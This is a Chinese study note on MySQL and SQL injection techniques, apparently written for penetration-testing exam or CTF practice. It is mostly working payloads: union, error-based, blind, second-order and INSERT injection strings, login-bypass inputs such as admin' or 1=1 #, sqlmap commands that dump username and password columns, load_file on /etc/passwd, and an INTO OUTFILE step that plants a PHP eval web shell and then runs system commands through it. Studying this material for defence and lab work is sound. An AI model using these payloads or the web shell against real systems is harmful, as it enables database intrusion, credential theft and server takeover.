一、phpstudy使用及mysql数据库基础
①进入mysql安装路径的/bin中打开cmd
mysql -u root -p //登录MYSQL数据库
show databases; // 查看数据库
drop database mysql; //删除mysql数据库
create database pte; //创建pte数据库
use pte; //进入数据库
show tables; //查看表
desc user; //查看表的结构
②创建user表,primary key auto_increment设置为主键
create table user (
-> uid int(32) primary key auto_increment,
-> uname varchar(32),
-> upasswd varchar(32)
-> );
③插入数据:
insert into user
-> (uid,uname,upasswd)
-> values
-> (1,"张三","1235fg");
④查询user表所有数据
select * from user;
⑤指定查询uname,upasswd的数据
select uname,upasswd from user;
⑥查询密码为123的用户名
select uname from user where upasswd = 123;
二、SQL注入-联合查询
①判断注入类型
and
1=1 and 1=1 //真
1=2 and 1=1 //假
1=2 and 1=2 //假
②判断是数字型注入还是字符型注入
' 、" 、)、 ')、 ") //字符型注入闭合方式
-- # %23 %00 //4种注释符;%23是#的URL编码; --+的+是为了隔开
举例:
select * from users where id='$id' limit 0,1; //原查询语句
select * from users where id='2' limit 0,1; //传入参数 $id=2
select * from users where id='1 and 1=1 --+' limit 0,1; //传入参数-数值型 $id=1 and 1=1 --+
select * from users where id='1' and 1=2 --+' limit 0,1; //传入参数-字符型 $id=1' and 1=1 --+
③联合查询
实例中列数为3,使用两种方式order by、union来判断列数;
order by前的语句为真(前提),order by 列数 > 实际列数,会报错;二分法判断正确列数。
union前的语句无论真假,union 后接的列数和实际列数不一样时会报错;例子中uinion前id=-1和id=1返回结果不一样。
#判断实际列数-order by
select * from users where id='1' order by 3 --+' limit 0,1; //传入参数 $id=1' order by 3 --+
#查看回显位置-union
#浏览器只能展示一个select语句的查询结果,也就是union前面的结果,如果使前面的查询结果为空,则展示union后的查询结果
select * from users where id='-1' union select 1,2,3 --+' limit 0,1; //传入参数 $id=-1' union select 1,2,3 --+
常用函数
version() //查数据库版本
user() //查询数据库使用者
database() //查询数据库名称
load_file() //读取本地文件+绝对路径 load_file("/etc/passwd")
into outfile //"一句话木马" into outfile "var/www/html/pte.php" --+
group_concat() //结果集中到一行
hex() //进行16进制编码 *可绕过一些限制*
unhex() //进行16进制解码
通用表
information_schema.schemata //存储了数据库中所有数据库的库名
information_schema.tables //存储了数据库中所有数据表的表名
information_schema.columns //存储了数据库中所有列的列名
常见字段
table_schema //数据库名称
table_name //表名
column_name //列名
进一步操作
#查询数据库库名
select * from users where id='-1' union select 1,database(),3 --+' limit 0,1;
#查询表名;group_concat():查询的结果集中到一行展示
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
#查询列名
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
#查字段;冒号用于分隔显示 id:username:password
select * from users where id='-1' union select 1,group_concat(id,':',username,':',password),3 from users --+
注意:MD5不可逆,无法解密->进入数据库对账户的密码进行替换->将新密码MD5加密后替换旧密码.
select "<?PHP @eval($_POST['c']);?>" into outfile "var/www/html/pte.php" --+
//访问pte.php,使用POST方法传入参数
//c=phpinfo();
//c=system("ls");
//c=system("cat ../flag.txt");
三、报错注入
函数:
rand():生成随机数,如果给予了参数,则随机数是固定的
select rand(5) from user;
floor():对随机生成数进行向下取整
select floor(rand(5)*2) from user; //随机生成数大于0.5,输出为1,小于0.5输出0
group by():根据一个或多个列对结果集进行分组,一检二写入;(0用来占位?)
原user表:
+-----+--------+------------+
| uid | uname | upasswd |
+-----+--------+------------+
| 1 | 张三 | 123 |
| 2 | 李四 | rg563 |
| 3 | 铪好 | rg56..3 |
| 4 | 王五 | rg56.dad.3 |
| 5 | 王六 | r5111113 |
| 6 | 老六 | 123 |
| 7 | 张三 | rgtw45 |
+-----+--------+------------+
select uname a,count(*) x from user group by a; //查询语句,索引:先取张三,是个空表,填入数据,然后取李四,下面表中不存在李四,将李四填入表中,以此推类,到第七行,uname为张三,下列表中已存在张三,所以x从1->2。
+--------+---+
| a | x |
+--------+---+
| 张三 | 2 |
| 李四 | 1 |
| 王五 | 1 |
| 王六 | 1 |
| 老六 | 1 |
| 铪好 | 1 |
+--------+---+
concat():拼接查询结果
select concat(database(),floor(rand(0)*2)); //前一个查询结果pte,后一个为0
+-------------------------------------+
| concat(database(),floor(rand(0)*2)) |
+-------------------------------------+
| pte0 |
+-------------------------------------+
针对联合查询没有回显的,使用报错注入将结果带出:count(*)、floor(rand(0)*2)、group by()四个函数联合报错。
①查询数据库
?id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+ //回显 security1,1是floor(rand(0)*2)报错的1
②查询表
?id=-1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //回显 emails1
③查询字段
?id=-1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='emails' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //通过更改limit函数参数,获取更多字段
最后获取
数据库 security
关键 表users
关键 字段username、password
?id=-1' union select null,count(*),concat((select username,password from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //报错Operand should contain 1 column(s)
继续尝试,查询用户名
?id=-1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //回显Dumb1
查询对应密码
?id=-1' union select null,count(*),concat((select password from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+ //回显Dumb1
SQLMAP使用
sqlmap -u "http://XXXXXXX?id=1" //如果存在注入点,将会显示Web容器、数据库版本信息。
sqlmap -u "http://XXXXXXX?id=1" --dbs //读取数据库
sqlmap -u "http://XXXXXXX?id=1" --current-db //查看当前应用程序所用数据库
sqlmap -u "http://XXXXXXX?id=1"--tables -D "security" //列出指定数据库的所有表
sqlmap -u "http://XXXXXXX?id=1"--columns -T "users" -D "security" //读取指定表中的字段名称
sqlmap -u "http://XXXXXXX?id=1" --dump-C "username,password" -T "users" -D"security" //读取指定字段的内容
–dump 参数意为转存数据
-C 参数指定字段名称
-T 指定表名
-D 指定数据库名称
如果有数据库关键字需要加上"[]",如[User],读取数据后,数据会存到sqlmap/output/下
四、盲注
函数:
substr():截取函数,共三个参数,第一个是要截取的字符串,第二个是从第几位开始截取(超出则为空),第三个是截取多少位。
select substr(database(),1,1);
结果:
+------------------------+
| substr(database(),1,1) |
+------------------------+
| p |
+------------------------+
ascii():转化为对应ascii码。
select ascii(substr(database(),1,1));
结果:
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 112 |
+-------------------------------+
length():判断长度
select length(database()); //输出3
盲注:系统只会回答是或者不是,就需要多次去判断。
#挨个判断数据库名的字符
?id=1' and ascii(substr((select database()),1,1))>100 --+
#猜表数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
#猜测表长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
#猜测表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
五、万能密码
select * from users where username = '$id' and password = '$pass' //登录时需要输入账号和密码
select * from users where username = 'admin' # and password = '$pass'
select * from users where username = 'admin' or 1 = 1 # //知道用户名admin
select * from users where username = 'admin' or 1 = 1 or 1 = 1 and password =123 //#号被过滤时使用,and优先or
1 = 1 and password =123 //false
'admin' or 1 = 1 //true
true or false //true
不知道用户名
select * from users where username = '1' or 1 = 1 #' //输入 1' or '1' = '1 #
select * from users where username = '1' or 1 = 1
admin' or '1' = '1' or '1' = '1 //字符型,#号被过滤时使用
admin or 1 = 1 or 1 = 1 //数值型
六、二次注入
触发:select、insert、update、delete
前提条件:
①攻击语句放数据库中
②其他功能点
注册(123、123’、123")
insert //admin'#,123,设置为admin是为了重置admin的密码,'为闭合,#为注释掉update后面的password语句
首次登录
select // admin'#, 123
重置密码
UPDATE table_name SET column1=value1 WHERE some_column=some_value;
update //123qwe
二次登录
admin
123qwe
aaa/aaa //①注册
aaa' and 1=1# //②注册登录,页面同步骤一
aaa' and 1=2# //③注册登录
步骤一结果:
步骤三结果:
aaa' order by 1 # //注册登录,显示如图1
aaa' order by 2 # //注册登录,显示如图2
查询数据库
a100' union select group_concat(schema_name) from information_schema.schemata #
//前句不成立才显示后面查询结果:ctftraining,information_schema,mysql,performance_schema,test
查询表
a100' union select group_concat(table_name) from information_schema.tables where table_schema="ctftraining" #
//flag,news,users
查询字段
a100' union select group_concat(column_name) from information_schema.columns where table_name="flag" #
//flag
查询flag
a100' union select group_concat(flag) from flag #
//flag{fe252838-0a63-4cf9-b73f-84893e982bd1}
七、insert注入
前提条件:不能破坏原有语句,格式需要正确
INSERT INTO table_name (value1, value2,....);
INSERT INTO table_name (column1, column2,...) VALUES (value1, value2,....);
insert into article(title,author,descriptiom,content,dateline)
value ((select database()),'2','3','4';
select * from article;
结果
+----------------------------------------------------+
|title | author | descriptiom | content | dateline |
+----------------------------------------------------+
|sqltest2| 2 | 3 | 4 | 12644333 |
+----------------------------------------------------+
insert into article(title,author,descriptiom,content,dateline)
value ('(select database())','2','3','4',123); //database()不执行,是字符串select database()
insert into article(title,author,descriptiom,content,dateline)
value (''+(select database())+'','2','3','4',123); //带引号操作,通过运算将结果加起来
同时插入多条语句
insert into article(title,author,descriptiom,content,dateline)
value ('1','2','3','4',123),('1','2',(select database()),'4');
开始注入
方式一:
insert into article(title,author,description,content,dateline) values('1111','2221','3133',''-ascii('a')-'',1669269008)
①获取数据库名
title=11&author=2221&description=33333&content='-ascii('s')-'&button=%E6%8F%90%E4%BA%A4 //返回ASCII码
title=11&author=2221&description=33333&content='-ascii(substr((select database()),1,1))-'&button=%E6%8F%90%E4%BA%A4 //依次遍历,获取数据库名sql
②获取表名
title=11&author=2221&description=33333&content='-ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='sql'),1,1))-'&button=%E6%8F%90%E4%BA%A4 //依次遍历,获取表名sql1
③获取字段
title=11&author=2221&description=33333&content='-ascii(substr((select group_concat(column_name)) from information_schema.tables where table_name='sql1'),1,1))-'&button=%E6%8F%90%E4%BA%A4 //依次遍历,获取数据库名sql
方式二:
insert into article(title,author,description,content,dateline) values('111','1123','333','4444',123),((select database()),2,3,'',1669342966) //插入 444',123),((select database()),2,3,'
①查询数据库名
title=111&author=1123&description=333&content=4444',123),((select database()),2,3,'&button=%E6%8F%90%E4%BA%A4 //输出hazel
②查询表名
title=111&author=1123&description=333&content=4444',123),((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,'&button=%E6%8F%90%E4%BA%A4 // 输出article
③查询字段
title=111&author=1123&description=333&content=4444',123),((select group_concat(column_name) from information_schema.columns where table_name='article'),2,3,'&button=%E6%8F%90%E4%BA%A4 // 输出id,title,author,description,content,dateline
原查询语句
insert into article(title,author,description,content,dateline) values('111','222','333','4444',123),((select group_concat(column_name) from information_schema.columns where table_name='article'),2,3,'',1669361912)
insertsql2
注册时报错,单引号不行;再尝试双引号,成功。
insert into users(email,username,password) values('3@qq.com','3"','eccbc87e4b5ce2fe28308fd9f2a7baf3')bool(true)
开始注入:register.php
insert into users(email,username,password) values('14@qq.com','1'-1-'1','eccbc87e4b5ce2fe28308fd9f2a7baf3')bool(true) //登录后返回-1
email=2@qq.com&username=0'-length((select+database()))-'0&password=1 //返回-9
username=0'-ascii(substr(((select * from flag))1,1))-'0 //逗号被过滤可以用from 1 for 1,空格用+代替;输出-102
email=b§1§%40qq.com&username=0'-ascii(substr(((select+*+from+flag))from+§1§+for+1))-'0&password=1 //选择参数进行爆破,注意使用单线程
八、堆叠注入:可以同时执行多条语句
sql1;sql2;sqll3....